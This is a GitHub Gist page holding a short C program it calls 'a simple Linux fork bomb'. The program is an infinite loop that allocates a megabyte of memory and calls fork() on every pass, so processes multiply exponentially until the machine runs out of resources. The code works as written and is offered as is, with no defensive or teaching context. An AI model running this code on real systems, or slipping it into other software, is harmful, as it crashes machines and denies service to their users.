Created
November 23, 2016 02:14
-
-
Save amittaigames/9b4ae917e7a97fc6c840bc32fa06ec7d to your computer and use it in GitHub Desktop.
A simple Linux fork bomb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <unistd.h> | |
int main(void) { | |
for (;;) { // Start an infinite loop | |
char* c = malloc(1000000); // Allocate one million bytes of memory | |
fork(); // Fork the current process (will exponentially increase) | |
} | |
return 0; // Will never reach this point | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment